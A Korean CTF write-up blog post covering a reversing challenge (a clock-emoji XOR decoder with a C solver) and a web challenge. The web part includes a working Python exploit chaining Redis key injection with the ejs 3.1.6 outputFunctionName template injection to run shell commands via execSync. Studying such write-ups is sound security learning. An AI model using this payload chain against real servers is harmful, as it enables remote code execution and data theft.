본선 날짜와 인하대 면접 날짜가 겹쳐서 1인팀하게 된 대회다. 예선은 5위로 본선 진출하였고 본선에서는 6위로 마무리 했다. 요즘들어 포너블을 자꾸 안 잡게 되는 경향이 있는 것 같아 마음가짐을 새로 해야할 것 같다.
내가 해킹 입문할 때 라이트업 보고 공부를 많이 했었는데 (물론 지금도 그렇지만), 볼 때 이 사람이 어떤 사고과정을 거쳐서 문제를 풀어나가는지가 녹아있으면 이해가 잘 됐었던 것 같다. 그래서 시간 들여서 자세하게 써보기로 했다.
1. messenger - Reversing
위 시계 이모지들을 복호화하면 플래그가 나올 것 같다.
main 함수가 초라하다.
main에 없으면 INIT이나 FINI 를 의심해볼만 하다.
INIT 함수들이 쭉 있다.
INIT 1 부터 16까지는 *DAT_1040b0 에 strdup으로 할당받은 주소들을 저장한다.
strdup에 넘겨지는 문자열은 위와 같은 4바이트 문자열이고, 이는 시계 이모지이다.
보다시피 시계 방향에 따라 마지막 바이트의 값이 90 ~ 9F 까지 간다.
INIT 17에서 srand하는데, 시드가 고정이라는 점을 기억하면 된다.
INIT 19에서 strdup 한 주소들을 rand로 섞는 것을 볼 수 있는데, 시드가 고정이니 섞은 결과도 변하지 않을 것이기에 gdb로 확인해보기로 했다.
PIE가 걸려있기 때문에 vmmap으로 베이스를 확인한다.
DAT_1040b0을 확인해보면 0x00005555555592a0 가 있고, 이를 확인하면
위와 같다.
쭉 보면 330 부터 끝 바이트가 90, 91, 92 처럼 시계 이모지가 순서대로 할당된 것을 볼 수 있고, *DAT_1040b0에는
처럼 0번째에 350 (2번 시계), 1번째에 4d0 ( n번 시계 ), 2번째에 330 ( 1번 시계 ) 와 같이 섞여있다.
즉 섞인 테이블을 rTable이라 하고 index 번 시계를 1040b0에서 가져오면 rTable[index] 번 시계 이모지를 얻게 된다.
flag를 읽은 후에 INIT 25에서 flag를 b'FLAG_IS_NOT_HERE' 와 xor 해준다.
28에서 output을 하는데, xor 한 flag를 >> 4 , & 0xf한다. 이는 값 이 0x4e 라 했을 때 >> 4 하면 0x4, &0xf 하면 0xe, 즉 앞자리 뒷자리를 나누는 연산이 된다. 반복문 한 번 돌 때 2번 4바이트 fwrite 하므로 2개의 시계 이모지를 통해서 xor된 flag의 값을 알 수 있다.( 앞자리 뒷자리 )
근데 *DAT_1040b0[xor_flag] 할 때 DAT_1040b0은 섞인 상태다.
만약 시계 이모지가 1번, 2번 시계라 하고 ( 0x91, 0x92 ) rTable이 [5,2,0,1, .. ] 이면 xor flag가 3, 1 즉 0x31이 된다.
output의 시계 이모지가 몇 번 시계인지로 rTable[xor_flag]를 알아낼 수 있고, rTable은 고정적이니 xor_flag도 구할 수 있게 된다.
위의 DAT_1040b0에서 rTable을 추출하면
list(map(lambda x : (int(x,16)-0x33)//2,'35 4d 33 4f 41 4b 43 39 47 49 51 3f 45 37 3d 3b'.split()))
#[1, 13, 0, 14, 7, 12, 8, 3, 10, 11, 15, 6, 9, 2, 5, 4]
을 얻을 수 있다.
#include <stdio.h>
#include <stdlib.h>
unsigned char getIndex(unsigned char val)
{
int i;
unsigned char table[] = {1, 13, 0, 14, 7, 12, 8, 3, 10, 11, 15, 6, 9, 2, 5, 4, -1};
for(i=0;table[i] != 255;i++)
{
if(val == table[i])
return i;
}
return -1;
}
int main()
{
unsigned const char* key = "FLAG_IS_NOT_HERE";
FILE* fp = fopen("recovered.txt","rb");
unsigned char buf[8] = { 0, };
unsigned char flag[300] = {0,};
int tmp,i=0;
unsigned char index;
while((tmp = fread(buf,8,1,fp)) != 0)
{
index = (getIndex(buf[3]-0x90) << 4) | getIndex(buf[7] - 0x90);
flag[i] = index ^ key[i % 16];
printf("%c",flag[i]);
i++;
}
fclose(fp);
return 0;
}
//FLAG{0f38e1cf31700e44517be83197557b1b}
2. Simple Note - Web
간단하게 회원가입 및 로그인, note 를 write, read 할 수 있는 사이트가 주어진다.
note를 write 하면 위와 같은 uuid 값이 정해지고, 인덱스 화면에서 노트 목록을 확인할 수 있다.
문제 설명에서 "수상한 파일을 찾아라" 라고 하였기에 파일을 읽을 수 있는 취약점 중에 RCE를 먼저 생각했고, Codegate 본선에도 나왔던 ejs 3.1.6 버전인지 확인해봤다.
package.json 파일을 확인해보면 3.1.6 버전임을 알 수 있다. 98% RCE라 생각하고 코드를 분석했다.
주어진 파일의 구성은 위와 같다. (index1.js, ex.py 제외)
// index.js
const express = require('express');
const session = require("express-session");
const RedisStore = require("connect-redis")(session);
const crypto = require("crypto");
const redis = require("redis");
const cookieParser = require('cookie-parser');
const routes = require('./routes/index');
const path = require('path');
const client = redis.createClient(6379,"127.0.0.1");
const secret = crypto.randomBytes(64).toString();
const app = express();
app.set("views", __dirname + "/views");
app.set("view engine", "ejs");
app.engine("html", require("ejs").renderFile);
app.use(express.static(path.join(__dirname, 'static')));
app.use(express.json());
app.use(express.urlencoded({ extended: true }));
app.use(cookieParser(secret))
app.use(
session({
saveUninitialized: true,
resave: false,
secret: secret,
store: new RedisStore({
client: client,
ttl: 200
})
})
);
app.use('/', routes);
const server = app.listen(8000, function() {
console.log("Started");
});
// routes/index.js
const express = require('express');
const router = express.Router();
const redis = require("redis");
const mysql = require("mysql");
const uuid = require("uuid4");
const client = redis.createClient(6379, "127.0.0.1");
const db = mysql.createConnection({
host: 'localhost',
user: 'root',
password: 'simplenote',
database: 'simplenote'
});
db.connect();
router.get("/", (req, res) => {
let sess = req.session;
if (!sess.user)
return res.render("index", { logined: false });
let logined = sess.user.name;
let userid = sess.user.id;
db.query('select * from note where userid=?', [userid], function (err, rows) {
return res.render("index", {
list: rows,
logined
});
})
});
router.get('/register', (req, res) => {
if (req.session.user) {
res.redirect(302, '/');
}
return res.render("register", { logined: false });
});
router.post('/register', (req, res) => {
if (req.session.user) {
res.redirect(302, '/');
}
let { username, password } = req.body;
if (username && password) {
let insertValue = { username: username, password: password };
db.query('select username from user where username=?', [username], function (err, rows) {
if (!rows.length) {
db.query('insert into user set ?', insertValue, function (err, rows) {
if (err) throw err;
return res.redirect(302, '/login');
})
}
else {
return res.render("register", {
logined: false,
e: "Register Failed."
});
}
});
}
else {
return res.render("register", {
logined: false,
e: "Error.."
});
}
});
router.get('/login', (req, res) => {
if (req.session.user) {
res.redirect(302, '/');
}
return res.render("login", { logined: false });
});
router.post('/login', (req, res) => {
if (req.session.user) {
res.redirect(302, '/');
}
let { username, password } = req.body;
if (username && password) {
db.query('select * from user where username=?', [username], function (err, rows) {
if (rows.length) {
if (rows[0].username === username && rows[0].password === password) {
req.session.user = { "id": rows[0].id, "name": username, "pw": password }
return res.redirect(302, '/');
}
else {
return res.render("login", {
logined: false,
e: "Login failed.."
});
}
}
else {
return res.render("login", {
logined: false,
e: "Login failed.."
});
}
});
}
else {
return res.render("login", {
logined: false,
e: "Error.."
});
}
});
router.get('/logout', (req, res) => {
req.session.destroy();
res.status(200).redirect('/');
})
router.get("/read", (req, res) => {
let sess = req.session;
if (!sess.user)
return res.redirect("/login");
let noteid = Array.isArray(req.query.id)? req.query.id[0] : req.query.id;
let readData = {logined:sess.user.name, id:null, value:null};
client.get(noteid, (err, data) => {
if (err)
return res.status(500).send("Error")
if (data != null) {
try {
data = JSON.parse(data);
} catch (err) {
return res.status(500).send("Error");
}
if (data.userid === sess.user.id)
readData = Object.assign(readData, data);
console.log("cached!");
return res.render("read", readData);
}
else {
db.query('select * from note where id=?', [noteid], function (err, rows) {
if (err)
return res.status(500).send("Error")
if (rows.length) {
if (rows[0].userid !== sess.user.id)
data = null;
else {
client.set(req.query.id, JSON.stringify(rows[0]));
data = rows[0];
}
readData = Object.assign(readData, data);
return res.render("read", readData);
}
else {
return res.render("read", readData);
}
});
}
});
});
router.get('/write', (req, res) => {
let sess = req.session;
if (!sess.user)
return res.redirect("/login");
let logined = sess.user;
return res.render("write", { logined });
});
router.post("/write", (req, res) => {
let sess = req.session;
if (!sess.user)
return res.redirect("/login");
const uid = uuid();
let { value } = req.body;
if (!value.match(/^[0-9a-zA-Z _!@#+=-]+$/)) {
return res.render("write", {
logined: false,
e: "Filtered."
});
}
let insertValue = { id: uid, value: value, userid: sess.user.id };
db.query('insert into note set ?', insertValue, function (err, rows) {
if (err) {
return res.render("write", {
logined: false,
e: "Write Failed."
});
}
return res.redirect(302, '/');
});
});
module.exports = router;
ejs RCE 가 터지려면 res.render("~~", hehe) 일때 hehe를 원하는 값으로 조정 가능해야 하기에 해당 부분을 살펴보면
router.get("/read", (req, res) => {
let sess = req.session;
if (!sess.user)
return res.redirect("/login");
let noteid = Array.isArray(req.query.id)? req.query.id[0] : req.query.id;
let readData = {logined:sess.user.name, id:null, value:null};
client.get(noteid, (err, data) => {
if (err)
return res.status(500).send("Error")
if (data != null) {
try {
data = JSON.parse(data);
} catch (err) {
return res.status(500).send("Error");
}
if (data.userid === sess.user.id)
readData = Object.assign(readData, data);
console.log("cached!");
return res.render("read", readData);
}
else {
db.query('select * from note where id=?', [noteid], function (err, rows) {
if (err)
return res.status(500).send("Error")
if (rows.length) {
if (rows[0].userid !== sess.user.id)
data = null;
else {
client.set(req.query.id, JSON.stringify(rows[0]));
data = rows[0];
}
readData = Object.assign(readData, data);
return res.render("read", readData);
}
else {
return res.render("read", readData);
}
});
}
});
});
read 에서 res.render("read", readData); 를 해주면서 readData = Object.assign(readData,data); 를 먼저 해준다.
Object.assign은 위와 같이 겹치는 부분은 교체하고, 없는 부분은 추가해주는 연산임을 이용하면 RCE 조건인 "readData 내에 settings property가 있어야하고, settings 내에 view options, 안에 outputFunctionName이 있어야 한다." 를 충족시켜줄 수 있을 것이다. 한 마디로, data가 {"settings":{"view options":{"outputFunctionName":"RCE code"}}} 이면 res.render("read",readData); 에서 RCE가 터진다.
그러기 위해서는 data의 값을 조작할 수 있어야하는데, data는 redis에서 get 한 값이다.
조작하기 위해서는 set 할 때 조작하면 되는데, set 부분을 보면 client.set(req.query.id,JSON.stringify(rows[0])); 한다.
https://learn.dreamhack.io/284#6
드림핵에서 Redis 공격 기법을 보면 첫 번째 인자가 배열일 경우 set 의 key value 값을 임의로 조작할 수 있다고 한다.
req.query.id 에 대한 특별한 필터링이 없으므로 해당 취약점이 터지는 것을 알 수 있다.
if (data.userid === sess.user.id)
readData = Object.assign(readData, data);
또, Object.assign 하기 위해 만족해야할 조건이 data.userid === sess.user.id 인데, user id가 닉네임인줄 알았는데 아니었다.
let insertValue = { username: username, password: password };
db.query('select username from user where username=?', [username], function (err, rows) {
if (!rows.length) {
db.query('insert into user set ?', insertValue, function (err, rows) {
회원가입 로직을 보니 username 과 password 말고 userid 는 찾아볼 수 없다.
여기서 userid는 브포 때려야하나? 의문이 들었지만 userid가 문자열인지 뭔지 몇글자인지도 모르기 때문에 mysql injection도 의심해봤다.
최종 익스 흐름은 다음과 같다.
1. 새 note를 write 한다.
2. /read?id[]=uuid&id[]={"userid":"???", "settings":{"view options":{"outputFunctionName":"RCE"}}}}
3. /read?id=uuid
브포 때리다가 잘 안돼서 (나중에 보니 이상한 쿼리 보내고 있었음) 대회 끝나기 10분전 다시 코드를 쭉 보다가 write.ejs에서 다음 구문을 보게 되었다.
저 logined.id 는 sess.user.id 었기에 브포 때릴 필요도 없었다.
from requests import *
from urllib import parse
username = 'DVPSECRET222'
s = session()
url = 'http://3.39.236.252:8002'
s.post(url+'/register',data={"username":username,"password":"asdf"})
s.post(url+'/login',data={"username":username,"password":"asdf"})
r = s.get(url+'/write')
userid = r.text.split('userid" value="')[1].split('"')[0]
r = s.post(url+'/write',data={"value":"asdf"})
id = r.text.split('read?id=')[1].split("'")[0]
payload = '{"userid":' + userid + ',"settings":{"view options":{"outputFunctionName":"x;var tmp=process.mainModule.require(\'child_process\').execSync(\'cat /flag\').toString();process.mainModule.require(\'child_process\').execSync(tmp);s"}}}'
s.get(url+'/read?id[]=' + id + '&id[]=' + parse.quote(payload))
r=s.get(url+'/read?id='+id)
print(r.text)
코드게이트 때와 같이 에러를 일으켜서 값을 확인했다.
flag{v3ry_sIMplE_aNd_Easy_rEDis_BuG_wiTh_SSti_:)}
'CTF Writeup' 카테고리의 다른 글
Dreamhack Christmas CTF 2022 Writeup (1) | 2022.12.24 |
---|---|
2022 Layer7 CTF Writeup (0) | 2022.12.19 |
2022 Codegate Junior Final (1) | 2022.11.08 |
2022 WACon CTF - babystack 2022 etc (0) | 2022.06.26 |
Codegate 2022 Junior 예선 WriteUp (0) | 2022.02.27 |